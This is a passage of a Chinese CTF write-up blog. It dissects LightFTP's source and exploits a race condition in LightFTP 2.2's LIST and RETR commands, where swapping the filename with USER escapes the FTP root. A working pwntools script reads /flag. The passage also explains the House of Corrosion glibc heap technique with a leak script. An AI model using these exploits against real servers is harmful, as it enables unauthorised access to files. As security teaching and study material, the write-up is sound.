  • 内层的循环会匹配等号 =,用一个 while 读取出 key_name 然后进行匹配:
1
if (strcmp(vname, key_name) == 0)
  • 最后用一个 while 把等号右边的数据存储到 value 中:
1
2
3
4
5
6
7
8
9
while ((*p != '\n') &&(*p != 0)) {
if (sp < value_size_max)
value[sp] = *p;
else
return 0;
++sp;
++p;
}
value[sp] = 0;

函数 config_parse 最后返回的 value 将被会存储在结构体 FTP_CONFIG 中:

1
2
3
4
5
6
7
8
9
10
11
typedef struct _FTP_CONFIG {
char* ConfigFile;
unsigned int MaxUsers;
unsigned int EnableKeepalive;
in_port_t Port;
in_port_t PasvPortBase;
in_port_t PasvPortMax;
in_addr_t BindToInterface;
in_addr_t ExternalInterface;
in_addr_t LocalIPMask;
} FTP_CONFIG, *PFTP_CONFIG;

LightFTP 与目标主机建立连接

把服务器中 socket bind listen 的代码提取出来:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
    ftpsocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); /* 基于IPv4和TCP */
if ( ftpsocket == INVALID_SOCKET )
{
printf("\r\n socket create error\r\n");
return 0;
}

rv = 1;
setsockopt(ftpsocket, SOL_SOCKET, SO_REUSEADDR, &rv, sizeof(rv));
/* SO_REUSEADDR:打开或关闭地址复用功能 */

scb = (SOCKET *)x_malloc(sizeof(SOCKET)*g_cfg.MaxUsers);
for (i = 0; i<g_cfg.MaxUsers; i++)
scb[i] = INVALID_SOCKET; /* 初始化为'-1' */

memset(&laddr, 0, sizeof(laddr));
laddr.sin_family = AF_INET;
laddr.sin_port = htons(g_cfg.Port);
laddr.sin_addr.s_addr = g_cfg.BindToInterface;
socketret = bind(ftpsocket, (struct sockaddr *)&laddr, sizeof(laddr));
if ( socketret != 0 ) {
printf("\r\n Failed to start server. Can not bind to address\r\n\r\n");
free(scb);
close(ftpsocket);
return 0;
}

writelogentry(NULL, success220, "");

socketret = listen(ftpsocket, SOMAXCONN); /* socket的排队个数为SOMAXCONN,内核规定的最大连接数 */
  • setsockopt 函数可以对 socket 进行详细的设置
  • SO_REUSEADDR 参数提供如下四个功能:
    • SO_REUSEADDR 允许启动一个监听服务器并捆绑其众所周知端口,即使以前建立的将此端口用做他们的本地端口的连接仍存在(这通常是重启监听服务器时出现,若不设置此选项,则 bind 时将出错)
    • SO_REUSEADDR 允许在同一端口上启动同一服务器的多个实例,只要每个实例捆绑一个不同的本地 IP 地址即可(对于 TCP,我们根本不可能启动捆绑相同 IP 地址和相同端口号的多个服务器)
    • SO_REUSEADDR 允许单个进程捆绑同一端口到多个套接口上,只要每个捆绑指定不同的本地 IP 地址即可。这一般不用于 TCP 服务器
    • SO_REUSEADDR 允许完全重复的捆绑:当一个 IP 地址和端口绑定到某个套接口上时,还允许此 IP 地址和端口捆绑到另一个套接口上(一般来说,这个特性仅在支持多播的系统上才有,而且只对UDP套接口而言,TCP不支持多播)

然后再循环里面 accept 客户端的请求:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
while ( socketret == 0 ) {
memset(&laddr, 0, sizeof(laddr));
asz = sizeof(laddr);
clientsocket = accept(ftpsocket, (struct sockaddr *)&laddr, &asz);
/* 一次大循环连接一台客户端主机 */

if (clientsocket == INVALID_SOCKET) /* 没有accept时则直接continue */
continue;

rv = -1;
for (i=0; i<g_cfg.MaxUsers; i++)
if ( scb[i] == INVALID_SOCKET ) {

if (g_cfg.EnableKeepalive != 0)
socket_set_keepalive(clientsocket);
/* 调用setsockopt对socket进行设置 */

scb[i] = clientsocket;
rv = pthread_create(&th, NULL, (void * (*)(void *))ftp_client_thread, &scb[i]);
if ( rv != 0 ) /* pthread_create返回'0'代表创建成功 */
scb[i] = INVALID_SOCKET;

break;
}

if ( rv != 0 ) {
sendstring_plaintext(clientsocket, NOSLOTS);
close(clientsocket);
}
}
  • g_cfg.MaxUsers:服务器可以并发处理的客户端最大数目

LightFTP 实现 FTP 命令集

实现 FTP 命令集的函数就是 ftp_client_thread

在此之前需要介绍一下 LightFTP 中的一个结构体数组:

1
2
3
4
5
6
7
8
9
10
static const FTPROUTINE_ENTRY ftpprocs[MAX_CMDS] = {
{"USER", ftpUSER}, {"QUIT", ftpQUIT}, {"NOOP", ftpNOOP}, {"PWD", ftpPWD },
{"TYPE", ftpTYPE}, {"PORT", ftpPORT}, {"LIST", ftpLIST}, {"CDUP", ftpCDUP},
{"CWD", ftpCWD }, {"RETR", ftpRETR}, {"ABOR", ftpABOR}, {"DELE", ftpDELE},
{"PASV", ftpPASV}, {"PASS", ftpPASS}, {"REST", ftpREST}, {"SIZE", ftpSIZE},
{"MKD", ftpMKD }, {"RMD", ftpRMD }, {"STOR", ftpSTOR}, {"SYST", ftpSYST},
{"FEAT", ftpFEAT}, {"APPE", ftpAPPE}, {"RNFR", ftpRNFR}, {"RNTO", ftpRNTO},
{"OPTS", ftpOPTS}, {"MLSD", ftpMLSD}, {"AUTH", ftpAUTH}, {"PBSZ", ftpPBSZ},
{"PROT", ftpPROT}, {"EPSV", ftpEPSV}, {"HELP", ftpHELP}, {"SITE", ftpSITE}
};
  • 乍一看这个结构有点像 Python 中的字典(用于把 “FTP 命令名称” 和 “对应的函数指针” 绑定)
  • 但这其实是 FTPROUTINE_ENTRY 类型的数组
1
2
3
4
typedef struct _FTPROUTINE_ENTRY {
const char* Name;
FTPROUTINE Proc;
} FTPROUTINE_ENTRY, *PFTPROUTINE_ENTRY;

使用这个结构体数组的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
while ( ctx.ControlSocket != INVALID_SOCKET ) {
if ( !recvcmd(&ctx, rcvbuf, sizeof(rcvbuf)) ) /* 从客服端中读取数据 */
break;

i = 0;
while ((rcvbuf[i] != 0) && (isalpha(rcvbuf[i]) == 0)) /* 检查输入值是否为字母,并用while跳过所有的非字母 */
++i;

cmd = &rcvbuf[i]; /* 确定ftp命令的起始地址 */
while ((rcvbuf[i] != 0) && (rcvbuf[i] != ' ')) /* 用while跳过所有的非空格(方便计算出ftp命令的长度) */
++i;

cmdlen = &rcvbuf[i] - cmd;
while (rcvbuf[i] == ' ')
++i;

if (rcvbuf[i] == 0)
params = NULL;
else
params = &rcvbuf[i];

cmdno = -1;
rv = 1;
for (c=0; c<MAX_CMDS; c++)
if (strncasecmp(cmd, ftpprocs[c].Name, cmdlen) == 0)
{ /* 遍历数组ftpprocs中所有的ftp命令,并执行目标命令 */
cmdno = c;
rv = ftpprocs[c].Proc(&ctx, params);
break;
}

if ( cmdno != FTP_PASSCMD_INDEX )
writelogentry(&ctx, " @@ CMD: ", rcvbuf);
else
writelogentry(&ctx, " @@ CMD: ", "PASS ***");

if ( cmdno == -1 )
sendstring(&ctx, error500);

if ( rv <= 0 )
break;
};
  • 一个简单的遍历匹配

最后单独介绍几个 FTP 命令的实现:

  • 匹配密码和登录设置:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
int ftpPASS(PFTPCONTEXT context, const char *params)
{
char temptext[256];

if ( params == NULL )
return sendstring(context, error501);

memset(temptext, 0, sizeof(temptext));

/*
* we have login name saved in context->FileName from USER command
*/
if (!config_parse(g_cfg.ConfigFile, context->FileName, "pswd", temptext, sizeof(temptext))) /* 提取密码 */
return sendstring(context, error530_r);

if ( (strcmp(temptext, params) == 0) || (temptext[0] == '*') )
{ /* 密码匹配成功,或者密码设置为'*' */
memset(context->RootDir, 0, sizeof(context->RootDir));
memset(temptext, 0, sizeof(temptext));

config_parse(g_cfg.ConfigFile, context->FileName, "root", context->RootDir, sizeof(context->RootDir)); /* 提取根目录路径 */
config_parse(g_cfg.ConfigFile, context->FileName, "accs", temptext, sizeof(temptext)); /* 提取登录设置 */

context->Access = FTP_ACCESS_NOT_LOGGED_IN;
do {

if ( strcasecmp(temptext, "admin") == 0 ) {
/* 登录设置为"admin":启用所有功能 */
context->Access = FTP_ACCESS_FULL;
break;
}

if ( strcasecmp(temptext, "upload") == 0 ) {
/* 登录设置为"upload":
允许:创建新目录,存储新文件附加
禁用:重命名,删除 */
context->Access = FTP_ACCESS_CREATENEW;
break;
}

if ( strcasecmp(temptext, "readonly") == 0 ) {
/* 登录设置为"readonly":只需读取目录和下载文件 */
context->Access = FTP_ACCESS_READONLY;
break;
}

return sendstring(context, error530_b);
} while (0);

writelogentry(context, " PASS->successful logon", "");
}
else
return sendstring(context, error530_r);

return sendstring(context, success230);
}
  • 列出目标目录中所有的文件:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
int ftpLIST(PFTPCONTEXT context, const char *params)
{
struct stat filestats;
pthread_t tid;

if (context->Access == FTP_ACCESS_NOT_LOGGED_IN)
return sendstring(context, error530);
if (context->WorkerThreadValid == 0)
return sendstring(context, error550_t);

if (params != NULL)
{
if ((strcmp(params, "-a") == 0) || (strcmp(params, "-l") == 0))
params = NULL;
}

ftp_effective_path(context->RootDir, context->CurrentDir, params, sizeof(context->FileName), context->FileName); /* 通过设置的根目录来获取目标目录的绝对路径(结果存放于context->FileName) */

while (stat(context->FileName, &filestats) == 0)
{ /* 使用stat函数获取文件信息(已经获取了文件的绝对路径) */
if ( !S_ISDIR(filestats.st_mode) ) /* filestats.st_mode是否是一个目录 */
break;

sendstring(context, interm150);
writelogentry(context, " LIST", (char *)params);
context->WorkerThreadAbort = 0;

pthread_mutex_lock(&context->MTLock);

context->WorkerThreadValid = pthread_create(&tid, NULL, (void * (*)(void *))list_thread, context);
/* 设置一个线程
用于完成:打开目录,读取文件信息,组织输出等一系列工作 */
if ( context->WorkerThreadValid == 0 )
context->WorkerThreadId = tid;
else
sendstring(context, error451);

pthread_mutex_unlock(&context->MTLock);

return 1;
}

return sendstring(context, error550);
}
  • 从服务器上下载目标文件:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
int ftpRETR(PFTPCONTEXT context, const char *params)
{
struct stat filestats;
pthread_t tid;

if (context->Access == FTP_ACCESS_NOT_LOGGED_IN)
return sendstring(context, error530);
if (context->WorkerThreadValid == 0)
return sendstring(context, error550_t);
if ( params == NULL )
return sendstring(context, error501);

if ( context->File != -1 ) {
close(context->File);
context->File = -1;
}

ftp_effective_path(context->RootDir, context->CurrentDir, params, sizeof(context->FileName), context->FileName); /* 获取目标文件的绝对路径 */

while (stat(context->FileName, &filestats) == 0)
{ /* 获取该文件的状态 */
if ( S_ISDIR(filestats.st_mode) )
break;

sendstring(context, interm150);
writelogentry(context, " RETR: ", (char *)params);
context->WorkerThreadAbort = 0;

pthread_mutex_lock(&context->MTLock);

context->WorkerThreadValid = pthread_create(&tid, NULL, (void * (*)(void *))retr_thread, context); /* 设置一个线程来完成下载操作 */
if ( context->WorkerThreadValid == 0 )
context->WorkerThreadId = tid;
else
sendstring(context, error451);

pthread_mutex_unlock(&context->MTLock);

return 1;
}

return sendstring(context, error550);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
f = open(context->FileName, O_RDONLY); /* 打开目标文件 */
context->File = f;
if (f == -1)
break;

offset = lseek(f, context->RestPoint, SEEK_SET); /* 重新设置文件指针(如果文件过大则需要分多次进行传输) */
if (offset != context->RestPoint)
break;

sent_ok = 1;
while ( context->WorkerThreadAbort == 0 ) {
sz = read(f, buffer, buffer_size); /* 把文件内容读取到本地内存 */
if (sz == 0)
break;

if (sz < 0)
{
sent_ok = 0;
break;
}

if (send_auto(clientsocket, TLS_datasession, buffer, sz) == sz)
{ /* 发送数据到客户端 */
sz_total += sz;
}
else
{
sent_ok = 0;
break;
}
}

NonHeavyFTP

1
2
3
4
5
6
7
8
fftp: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=dd778d889ef0dab05153ea682e9ad1ad3d493130, for GNU/Linux 3.2.0, not stripped    
[!] Could not populate PLT: invalid syntax (unicorn.py, line 110)
[*] '/home/yhellow/\xe6\xa1\x8c\xe9\x9d\xa2/NonHeavyFTP/fftp'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,全开

环境搭建

查看 Dockerfile:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
FROM ubuntu:22.04

ENV DEBIAN_FRONTEND noninteractive

RUN apt-get update &&\
apt-get install -y --no-install-recommends wget unzip gcc make libc6-dev gnutls-dev uuid

RUN mkdir -p /server/data/ &&\
echo "hello from LightFTP" >> /server/data/hello.txt &&\
cd /server &&\
wget --no-check-certificate https://codeload.github.com/hfiref0x/LightFTP/zip/refs/tags/v2.2 -O LightFTP-2.2.zip &&\
unzip LightFTP-2.2.zip &&\
cd LightFTP-2.2/Source/Release &&\
make &&\
cp -a ./fftp /server/ &&\
cd /server &&\
rm -rf LightFTP-2.2 LightFTP-2.2.zip

COPY ./flag /flag
COPY ./fftp.conf /server/fftp.conf

RUN mv /flag /flag.`uuid` &&\
useradd -M -d /server/ -U ftp

WORKDIR /server

EXPOSE 2121

CMD ["runuser", "-u", "ftp", "-g", "ftp", "/server/fftp", "/server/fftp.conf"]

搭建 docker 环境:

1
docker build -t "fftp" .

启动 docker:

1
docker run -it -p 2121:2121 fftp:latest /bin/sh

漏洞分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
[ftpconfig]
port=2121 /* 要将服务器绑定到的端口号 */
maxusers=10000000 /* 与服务器的最大连接数,可同时建立 */
interface=0.0.0.0 /* 要绑定到的接口IP,使用0.0.0.0侦听任何可用接口,默认值:127.0.0.1 */
local_mask=255.255.255.255 /* 本地网络的IP掩码,这将有助于服务器区分本地客户端和互联网客户端,默认值:255.255.255.0 */

minport=30000 /* 数据连接的端口范围,您可以使用它在网关设备上配置端口转发 */
maxport=60000

goodbyemsg=Goodbye!
keepalive=1 /* 发送激活数据包(某些NAT可能需要这样做) */

[anonymous]
pswd=* /* 表示“任何密码都匹配” */
accs=readonly /* 不允许登录 */
root=/server/data/
  • 开启了匿名登录

ftpLIST 函数中还有一个条件竞争漏洞,之后再谈

入侵思路

利用匿名登录漏洞可以直接连接服务器:

1673071731371

  • root=/server/data:把 ftp 服务端的目录设置为 /server/data

通过 Dockerfile 可以发现 flag 在根目录中,接下来的目标就是利用 ftp 服务器的功能来获取根目录中的 flag

  • 这篇博客中讲解了如何实现 ftp 客户端:c语言实现ftp客户端
  • 当然也可以使用 Linux 中的 ftp 命令来连接
  • 直接使用 pwntoolsremote 模块也行

分析 Dockerfile 可以发现:

  • flag 文件在根目录中,而我们只能控制 /server/data 目录
  • 接下来的目标就是跳出程序的限制,从而读取出 flag

本程序最关键的一个漏洞如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
int ftpLIST(PFTPCONTEXT context, const char *params)
{

......

/* 验证目标目录路径 */
ftp_effective_path(context->RootDir, context->CurrentDir, params, sizeof(context->FileName), context->FileName);

while (stat(context->FileName, &filestats) == 0)
{
if ( !S_ISDIR(filestats.st_mode) )
break;

sendstring(context, interm150);
writelogentry(context, " LIST", (char *)params);
context->WorkerThreadAbort = 0;

pthread_mutex_lock(&context->MTLock);

/* 创建list_thread线程来执行LIST命令 */
context->WorkerThreadValid = pthread_create(&tid, NULL, (void * (*)(void *))list_thread, context);

......

}

return sendstring(context, error550);
}
  • 先调用 ftp_effective_path 检查文件路径
  • 再创建 list_thread 来执行 LIST 命令

关于“被动模式”:

  • 当 FTP 处于“被动模式”时,数据将使用新套接字 socket 传输
  • create_datasocket 函数中(list_thread 中会调用这个函数),线程会卡在 accept 函数中,等待客户端连接
  • 当客户端进行连接时,它将读取 context->FileName 的文件目录
1
2
3
4
5
6
7
8
9
10
11
12
13
14
void *list_thread(PFTPCONTEXT context)
{
volatile SOCKET clientsocket;
gnutls_session_t TLS_datasession;
int ret;
DIR *pdir;
struct dirent *entry;

pthread_mutex_lock(&context->MTLock);
pthread_cleanup_push(cleanup_handler, context);
ret = 0;
TLS_datasession = NULL;

clientsocket = create_datasocket(context);
  • PFTPCONTEXT 是一个指针

在“被动模式”下,程序先检查文件路径,然后卡在 create_datasocket 函数中

如果此时修改 create_datasocket 函数的参数 context,就可以跳出 /server/data 的限制(已经检查过文件路径了)

具体可以使用 ftpUSER 函数来修改 context

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int ftpUSER(PFTPCONTEXT context, const char *params)
{
if ( params == NULL )
return sendstring(context, error501);

context->Access = FTP_ACCESS_NOT_LOGGED_IN;

writelogentry(context, " USER: ", (char *)params);
snprintf(context->FileName, sizeof(context->FileName), "331 User %s OK. Password required\r\n", params);
sendstring(context, context->FileName);

/* Save login name to FileName for the next PASS command */
strcpy(context->FileName, params);
return 1;
}
  • PFTPCONTEXT 是一个指针,ftpUSERftpLIST 共享同一片空间的数据

测试脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# -*- coding:utf-8 -*-
from pwn import *

ip = "127.0.0.1"
p = remote(ip,2121)

p.send("USER anonymous\r\n")
success(p.recv())
p.send("PASS 123456\r\n")
success(p.recv())

p.send("EPSV\r\n")
ret = p.recv()
success(ret)

if "Entering Extended Passive Mode" in ret:
parts = ret.split('|')
pport = int(parts[3])

success("Passive port: %s" % pport)

p.send("LIST \r\n")
p.send("USER / \r\n")

p2 = remote(ip,pport)

success(p.recv())
success("<------------------------------------>")
success(p2.recv())
  • 结果:(这里直接使用主机来进行测试了)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
➜  NonHeavyFTP python exp.py
[+] Opening connection to 127.0.0.1 on port 2121: Done
[+] 220 LightFTP server ready
331 User anonymous OK. Password required
[+] 230 User logged in, proceed.
[+] 229 Entering Extended Passive Mode (|||33416|)
[+] Passive port: 33416
[+] Opening connection to 127.0.0.1 on port 33416: Done
[+] 150 File status okay; about to open data connection.
331 User / OK. Password required
[+] <------------------------------------>
[+] drwxrwxrwt 25 0 0 12288 Jan 12 13:25 tmp
lrwxrwxrwx 1 0 0 7 Aug 28 19:09 lib
drwxr-xr-x 142 0 0 12288 Jan 12 11:05 etc
lrwxrwxrwx 1 0 0 10 Aug 28 19:09 libx32
drwxr-xr-x 2 0 0 4096 Aug 09 19:48 srv
-rwxr-xr-x 1 0 0 14 Jan 12 13:20 flag
drwxrwxr-x 2 0 0 4096 Aug 28 19:12 cdrom
dr-xr-xr-x 400 0 0 0 Jan 12 11:00 proc
drwxr-xr-x 14 0 0 4096 Sep 06 16:40 usr
dr-xr-xr-x 13 0 0 0 Jan 12 11:00 sys
lrwxrwxrwx 1 0 0 9 Aug 28 19:09 lib64
drwxr-xr-x 3 0 0 4096 Oct 01 11:00 opt
drwxr-xr-x 3 0 0 4096 Aug 28 19:26 home
drwxr-xr-x 38 0 0 1040 Jan 12 13:21 run
drwxr-xr-x 3 0 0 4096 Jan 12 13:24 server
-rw------- 1 0 0 2147483648 Aug 28 19:09 swapfile
lrwxrwxrwx 1 0 0 9 Aug 28 19:09 lib32
drwxr-xr-x 19 0 0 4180 Jan 12 11:01 dev
drwx------ 2 0 0 16384 Aug 28 19:09 lost+found
drwx------ 6 0 0 4096 Sep 01 23:26 root
lrwxrwxrwx 1 0 0 7 Aug 28 19:09 bin
drwxr-xr-x 3 0 0 4096 Aug 28 19:37 media
drwxr-xr-x 12 0 0 4096 Sep 24 10:10 snap
drwxr-xr-x 5 0 0 4096 Aug 29 06:03 glibc
drwxr-xr-x 4 0 0 4096 Jan 07 10:01 boot
drwxr-xr-x 14 0 0 4096 Aug 09 19:54 var
drwxr-xr-x 3 0 0 4096 Aug 28 22:55 mnt
lrwxrwxrwx 1 0 0 8 Aug 28 19:09 sbin
[*] Closed connection to 127.0.0.1 port 33416
[*] Closed connection to 127.0.0.1 port 2121
  • 成功读取出主机的根目录文件

接下来分析实现下载功能的函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
int ftpRETR(PFTPCONTEXT context, const char *params)
{

......

/* 验证目标目录路径 */
ftp_effective_path(context->RootDir, context->CurrentDir, params, sizeof(context->FileName), context->FileName);

while (stat(context->FileName, &filestats) == 0)
{
if ( S_ISDIR(filestats.st_mode) )
break;

sendstring(context, interm150);
writelogentry(context, " RETR: ", (char *)params);
context->WorkerThreadAbort = 0;

pthread_mutex_lock(&context->MTLock);

/* 创建list_thread线程来执行RETR命令 */
context->WorkerThreadValid = pthread_create(&tid, NULL, (void * (*)(void *))retr_thread, context);

......

}

return sendstring(context, error550);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
void *retr_thread(PFTPCONTEXT context)
{
volatile SOCKET clientsocket;
int sent_ok, f;
off_t offset;
ssize_t sz, sz_total;
size_t buffer_size;
char *buffer;
struct timespec t;
signed long long lt0, lt1, dtx;
gnutls_session_t TLS_datasession;

pthread_mutex_lock(&context->MTLock);
pthread_cleanup_push(cleanup_handler, context);

......

buffer = malloc(TRANSMIT_BUFFER_SIZE);
while (buffer != NULL)
{
clientsocket = create_datasocket(context);

下载函数 ftpRETR 中也有类似的条件竞争漏洞,可以用相同的方法来下载 flag 文件

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# -*- coding:utf-8 -*-
from pwn import *

ip = "127.0.0.1"
p = remote(ip,2121)

p.send("USER anonymous\r\n")
success(p.recv())
p.send("PASS 123456\r\n")
success(p.recv())

p.send("EPSV\r\n")
ret = p.recv()
success(ret)

if "Entering Extended Passive Mode" in ret:
parts = ret.split('|')
pport = int(parts[3])

success("Passive port: %s" % pport)

p.send("RETR \r\n")
p.send("USER /flag \r\n")

p2 = remote(ip,pport)

success(p.recv())
success("<------------------------------------>")
success(p2.recv())

小结:

这种题目就比较贴合现实漏洞利用了,涨见识了

House Of Corrosion

House Of Corrosion 很早以前就出现了

其根本的思想就是通过往 global_max_fast 写入一个很大的值,来造成 main_arena->fastbinsY 数组溢出


House Of Corrosion 原理

fastbinsY 是在 GLIBC 上储存 fastbin 不同大小链表头指针的一段空间,为大小从 0x20 开始的 fastbin 链表预留了十个指针

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
pwndbg> p main_arena
$1 = {
mutex = 0,
flags = 0,
fastbinsY = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0},
top = 0x557c160ef860,
last_remainder = 0x0,
bins = {......},
binmap = {0, 0, 65536, 0},
next = 0x7f3a14524b20 <main_arena>,
next_free = 0x0,
attached_threads = 1,
system_mem = 135168,
max_system_mem = 135168
}
  • 这意味着,如果有 SIZE 超过 0xb0 的堆块,那么这个堆块计算得到的索引值就会超出 fastbinsY 的最大范围,造成数组越界

用于决定 fastbin 大小的是 global_max_fast,我们只需要覆盖这个值,然后就可以溢出 main_arena

应用场景是:

  • 能够任意写一个大数据
  • 能够泄露堆地址和 libc 基址
  • 能够触发 IO 流(FSOP 或触发 __malloc_assert),执行 IO 相关函数

House Of Corrosion 利用姿势

劫持 global_max_fast 为一个大数据,就可以从 main_arena 向下溢出,我们要覆盖的目标就是 _IO_list_all

计算偏移:

1
2
3
4
5
6
pwndbg> p &main_arena 
$1 = (malloc_state *) 0x7f85c2d99b20 <main_arena>
pwndbg> p &_IO_list_all
$2 = (_IO_FILE_plus **) 0x7f85c2d9a520 <_IO_list_all>
pwndbg> distance 0x7f85c2d99b20 0x7f85c2d9a520
0x7f85c2d99b20->0x7f85c2d9a520 is 0xa00 bytes (0x140 words)
  • 先计算 main_arena_IO_list_all 之间的偏移
  • 把这个数值乘2就可以得到目标 size

伪造 FILE 结构体,最后申请一个 chunk 用于触发 FSOP,调用链为:

1
malloc_printerr -> _IO_flush_all_lockp -> _IO_overflow

也可以触发 __malloc_assert,调用链为:

1
__malloc_assert -> __fxprintf -> __vfxprintf -> locked_vfxprintf -> __vfprintf_internal

版本对 House Of Corrosion 的影响

  • libc 2.23 :对 vtable 的位置没有检测,可以直接在任意可控位置伪造一个 vtable,直接写 one_gadget 就可以了
  • libc 2.24 及其以后:对 vtable 的范围添加了限制,需要利用偏移来调用具体的 vtable 函数

heap2019

1
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu11) stable release version 2.23, by Roland McGrath et a
1
2
3
4
5
6
heap2019: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=309ab353df629cf952a87aeff73a7a39f23f2570, stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,全开

漏洞分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
unsigned __int64 edit()
{
_QWORD buf[4]; // [rsp+0h] [rbp-30h] BYREF
_QWORD *magic; // [rsp+20h] [rbp-10h]
unsigned __int64 canary; // [rsp+28h] [rbp-8h]

canary = __readfsqword(0x28u);
puts("You cannot edit chunk but you can edit comment");
puts("Comment:");
read(0, buf, 40uLL); // 栈溢出
comment[0] = buf[0];
comment[1] = buf[1];
comment[2] = buf[2];
comment[3] = buf[3];
magicS = (__int64)magic;
*magic = 0xDEADBEEFLL;
puts("Edit OK");
return __readfsqword(0x28u) ^ canary;
}
  • 栈溢出导致 0xDEADBEEF 任意写

入侵思路

本题目的泄露很简单,可以轻松获取 heap_baselibc_base

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
add(0x400,"a"*0x20)
add(0x400,"a"*0x20)
add(0x400,"a"*0x20)
add(0x400,"a"*0x20)
add(0x400,"a"*0x20)

dele(1)
dele(3)

add(0x400,"p"*8)
p.recvuntil("pppppppp")
leak_addr = u64(p.recv(6).ljust(8,"\x00"))
heap_base = leak_addr - 0xc30
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(heap_base))

add(0x400,"k"*8)
p.recvuntil("kkkkkkkk")
leak_addr = u64(p.recv(6).ljust(8,"\x00"))
libc_base = leak_addr - 0x3c4b78
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

然后可以利用 0xDEADBEEF 任意写来覆盖 global_max_fast

这样做有两个好处:

  • 可以把大 chunk 放入 fastbin
  • 可以在 main_arena 中制造溢出(fast chunk 会根据自己的 size,来决定其 free chunk head 在 main_arena 中的偏移)

可以利用 main_arena 中的溢出来覆盖 _IO_list_all

1
#define fastbin(ar_ptr, idx) ((ar_ptr)->fastbinsY[idx])
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
struct malloc_state
{
/* Serialize access. */
mutex_t mutex;

/* Flags (formerly in max_fast). */
int flags;

/* Fastbins */
mfastbinptr fastbinsY[NFASTBINS];

/* Base of the topmost chunk -- not otherwise kept in a bin */
mchunkptr top;

/* The remainder from the most recent split of a small request */
mchunkptr last_remainder;

/* Normal bins packed as described above */
mchunkptr bins[NBINS * 2 - 2];

/* Bitmap of bins */
unsigned int binmap[BINMAPSIZE];

/* Linked list */
struct malloc_state *next;

/* Linked list for free arenas. Access to this field is serialized
by free_list_lock in arena.c. */
struct malloc_state *next_free;

/* Number of threads attached to this arena. 0 if the arena is on
the free list. Access to this field is serialized by
free_list_lock in arena.c. */
INTERNAL_SIZE_T attached_threads;

/* Memory allocated from the system in this arena. */
INTERNAL_SIZE_T system_mem;
INTERNAL_SIZE_T max_system_mem;
};
  • 可以在 fastbinsY[NFASTBINS] 进行溢出

计算偏移:

1
2
3
4
5
6
pwndbg> p &main_arena 
$1 = (malloc_state *) 0x7f85c2d99b20 <main_arena>
pwndbg> p &_IO_list_all
$2 = (_IO_FILE_plus **) 0x7f85c2d9a520 <_IO_list_all>
pwndbg> distance 0x7f85c2d99b20 0x7f85c2d9a520
0x7f85c2d99b20->0x7f85c2d9a520 is 0xa00 bytes (0x140 words)
  • 先计算 main_arena_IO_list_all 之间的偏移
  • 把这个数值乘2就可以得到目标 size

伪造 FILE 结构体:

1
2
pwndbg> telescope 0x7f897d54e520
00:00000x7f897d54e520 (_IO_list_all) —▸ 0x563ec953d450 ◂— 0x0
  • 我们选择 vtable
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
pwndbg> p*(struct _IO_jump_t*)_IO_list_all.vtable 
$2 = {
__dummy = 0,
__dummy2 = 0,
__finish = 0x0,
__overflow = 0x0, // target
__underflow = 0x0,
__uflow = 0x0,
__pbackfail = 0x0,
__xsputn = 0x0,
__xsgetn = 0x0,
__seekoff = 0x0,
__seekpos = 0x0,
__setbuf = 0x0,
__sync = 0x0,
__doallocate = 0x0,
__read = 0x0,
__write = 0x0,
__seek = 0x0,
__close = 0x0,
__stat = 0x0,
__showmanyc = 0x0,
__imbue = 0x0
}
